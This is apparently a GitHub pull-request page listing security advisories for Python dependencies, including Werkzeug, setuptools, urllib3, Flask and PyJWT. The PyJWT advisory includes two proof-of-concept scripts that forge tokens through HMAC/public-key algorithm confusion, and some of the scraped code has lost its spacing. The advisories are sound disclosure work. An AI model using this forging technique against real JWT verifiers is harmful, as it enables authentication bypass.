You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
** DISPUTED ** Improper parsing of HTTP requests in Pallets Werkzeug v2.1.0 and below allows attackers to perform HTTP Request Smuggling using a crafted HTTP request with multiple requests included inside the body. NOTE: the vendor's position is that this behavior can only occur in unsupported configurations involving development mode and an HTTP server from outside the Werkzeug project.
Cross-Site Request Forgery (CSRF)
Affected range
<3.0.3
Fixed version
3.0.3
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score
0.045%
EPSS Percentile
18th percentile
Description
The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger.
Uncontrolled Resource Consumption
Affected range
<2.2.3
Fixed version
2.2.3
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.247%
EPSS Percentile
65th percentile
Description
Werkzeug's multipart form data parser will parse an unlimited number of parts, including file parts. Parts can be a small amount of bytes, but each requires CPU time to parse and may use more memory as Python data. If a request can be made to an endpoint that accesses request.data, request.form, request.files, or request.get_data(parse_form_data=False), it can cause unexpectedly high resource usage.
This allows an attacker to cause a denial of service by sending crafted multipart data to an endpoint that will parse it. The amount of CPU time required can block worker processes from handling legitimate requests. The amount of RAM required can trigger an out of memory kill of the process. Unlimited file parts can use up memory and file handles. If many concurrent requests are sent continuously, this can exhaust or kill all available workers.
Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in package_index. This has been patched in version 65.5.1.
Improper Control of Generation of Code ('Code Injection')
A vulnerability in the package_index module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.
Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in package_index. This has been patched in version 65.5.1.
Improper Control of Generation of Code ('Code Injection')
A vulnerability in the package_index module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.
When provided with a URL containing many @ characters in the authority component the authority regular expression exhibits catastrophic backtracking causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.
urllib3 doesn't treat the Cookie HTTP header special or provide any helpers for managing cookies over HTTP, that is the responsibility of the user. However, it is possible for a user to specify a Cookie header and unknowingly leak information via HTTP redirects to a different origin if that user doesn't disable redirects explicitly.
Users must handle redirects themselves instead of relying on urllib3's automatic redirects to achieve safe processing of the Cookie header, thus we decided to strip the header by default in order to further protect users who aren't using the correct approach.
Affected usages
We believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:
Using an affected version of urllib3 (patched in v1.26.17 and v2.0.6)
Using the Cookie header on requests, which is mostly typical for impersonating a browser.
Not disabling HTTP redirects
Either not using HTTPS or for the origin server to redirect to a malicious origin.
Remediation
Upgrading to at least urllib3 v1.26.17 or v2.0.6
Disabling HTTP redirects using redirects=False when sending requests.
When all of the following conditions are met, a response containing data intended for one client may be cached and subsequently sent by a proxy to other clients. If the proxy also caches Set-Cookie headers, it may send one client's session cookie to other clients. The severity depends on the application's use of the session, and the proxy's behavior regarding cookies. The risk depends on all these conditions being met.
The application must be hosted behind a caching proxy that does not strip cookies or ignore responses with cookies.
The application does not set a Cache-Control header to indicate that a page is private or should not be cached.
This happens because vulnerable versions of Flask only set the Vary: Cookie header when the session is accessed or modified, not when it is refreshed (re-sent to update the expiration) without being accessed or modified.
A vulnerability in corydolphin/flask-cors version 4.0.1 allows the Access-Control-Allow-Private-Network CORS header to be set to true by default, without any configuration option. This behavior can expose private network resources to unauthorized external access, leading to significant security risks such as data breaches, unauthorized access to sensitive information, and potential network intrusions.
The py library through 1.11.0 for Python allows remote attackers to conduct a ReDoS (Regular expression Denial of Service) attack via a Subversion repository with crafted info data, because the InfoSvnCommand argument is mishandled.
The particular codepath in question is the regular expression at py._path.svnurl.InfoSvnCommand.lspattern and is only relevant when dealing with subversion (svn) projects. Notably the codepath is not used in the popular pytest project. The developers of the pytest package have released version 7.2.0 which removes their dependency on py. Users of pytest seeing alerts relating to this advisory may update to version 7.2.0 of pytest to resolve this issue. See pytest-dev/py#287 (comment) for additional context.
Certifi 2023.07.22 removes root certificates from "e-Tugra" from the root store. These are in the process of being removed from Mozilla's trust store.
e-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.
What kind of vulnerability is it? Who is impacted?
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
PyJWT supports multiple different JWT signing algorithms. With JWT, an
attacker submitting the JWT token can choose the used signing algorithm.
The PyJWT library requires that the application chooses what algorithms
are supported. The application can specify
"jwt.algorithms.get_default_algorithms()" to get support for all
algorithms. They can also specify a single one of them (which is the
usual use case if calling jwt.decode directly. However, if calling
jwt.decode in a helper function, all algorithms might be enabled.)
For example, if the user chooses "none" algorithm and the JWT checker
supports that, there will be no signature checking. This is a common
security issue with some JWT implementations.
PyJWT combats this by requiring that the if the "none" algorithm is
used, the key has to be empty. As the key is given by the application
running the checker, attacker cannot force "none" cipher to be used.
Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
if the key begins with "ssh-rsa". If HMAC is used with a public key, the
attacker can just use the publicly known public key to sign the token
and the checker would use the same key to verify.
From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
With ed25519, PyJWT supports public keys that start with "ssh-", for
example "ssh-ed25519".
importjwtfromcryptography.hazmat.primitivesimportserializationfromcryptography.hazmat.primitives.asymmetricimported25519# Generate ed25519 private keyprivate_key=ed25519.Ed25519PrivateKey.generate()
# Get private key bytes as they would be stored in a filepriv_key_bytes=private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption())
# Get public key bytes as they would be stored in a filepub_key_bytes=private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
# Making a good jwt token that should work by signing it with the privatekeyencoded_good=jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")
# Using HMAC with the public key to trick the receiver to think that the publickeyisaHMACsecretencoded_bad=jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as validdecoded_good=jwt.decode(encoded_good, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad=jwt.decode(encoded_bad, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
ifdecoded_good==decoded_bad:
print("POC Successfull")
# Of course the receiver should specify ed25519 algorithm to be used if theyspecifyed25519publickey. However, ifotheralgorithmsareused,
thePOCdoesnotwork# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py## invalid_strings = [# b"-----BEGIN PUBLIC KEY-----",# b"-----BEGIN CERTIFICATE-----",# b"-----BEGIN RSA PUBLIC KEY-----",# b"ssh-rsa",# ]## However, OKPAlgorithm (ed25519) accepts the following in jwt/algorithms.py:
## if "-----BEGIN PUBLIC" in str_key:# return load_pem_public_key(key)# if "-----BEGIN PRIVATE" in str_key:# return load_pem_private_key(key, password=None)# if str_key[0:4] == "ssh-":# return load_ssh_public_key(key)## These should most likely made to match each other to prevent this behavior
importjwt#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pubpriv_key_bytes=b"""-----BEGIN EC PRIVATE KEY-----MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==-----END EC PRIVATE KEY-----"""pub_key_bytes=b"""-----BEGIN PUBLIC KEY-----MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==-----END PUBLIC KEY-----"""ssh_key_bytes=b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""# Making a good jwt token that should work by signing it with the private keyencoded_good=jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")
# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secretencoded_bad=jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as validdecoded_good=jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad=jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
ifdecoded_good==decoded_bad:
print("POC Successfull")
else:
print("POC Failed")
The issue is not that big as
algorithms=jwt.algorithms.get_default_algorithms() has to be used.
However, with quick googling, this seems to be used in some cases at
least in some minor projects.
Patches
Users should upgrade to v2.4.0.
Workarounds
Always be explicit with the algorithms that are accepted and expected when decoding.
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
anothere tests